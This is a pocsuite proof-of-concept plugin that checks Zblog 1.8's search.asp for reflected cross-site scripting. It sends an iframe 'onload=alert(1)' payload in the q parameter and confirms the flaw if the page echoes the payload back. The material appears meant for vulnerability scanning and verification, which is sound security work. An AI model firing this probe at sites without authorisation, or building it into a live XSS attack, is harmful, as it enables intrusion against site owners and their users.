Zblog1.8 search.asp 跨站漏洞

                                                #!/usr/bin/env python
# coding: utf-8

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

class TestPOC(POCBase):
    vulID = 'SSV-19246'  # vul ID
    version = '1'
    author = 'fenghh'
    vulDate = '2010-03-10'
    createDate = '2015-10-14'
    updateDate = '2015-10-14'
    references = ['http://sebug.net/vuldb/ssvid-19246']
    name = 'Zblog 1.8 search.asp 跨站漏洞'
    appPowerLink = 'http://www.zblogcn.com/'
    appName = 'Zblog1'
    appVersion = '1.8'
    vulType = 'XSS'
    desc = '''  
        search.asp在对用户提交数据处理上存在安全漏洞。
    '''
    # the sample sites for examine
    samples = ['']

    def _verify(self):
        output = Output(self)
        result = {}
        payload = '/search.asp?q=%3Ciframe%20src%3D%40%20onload%3Dalert%281%29%3E'
        verify_url = self.url + payload
        response = req.get(verify_url)
        content = response.content
        if '<iframe src=@ onload=alert(1)>' in content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = verify_url
            output.success(result)
        else:
            output.fail('XSS Failed')
        return output

    def _attack(self): 
        return self._verify()

register(TestPOC)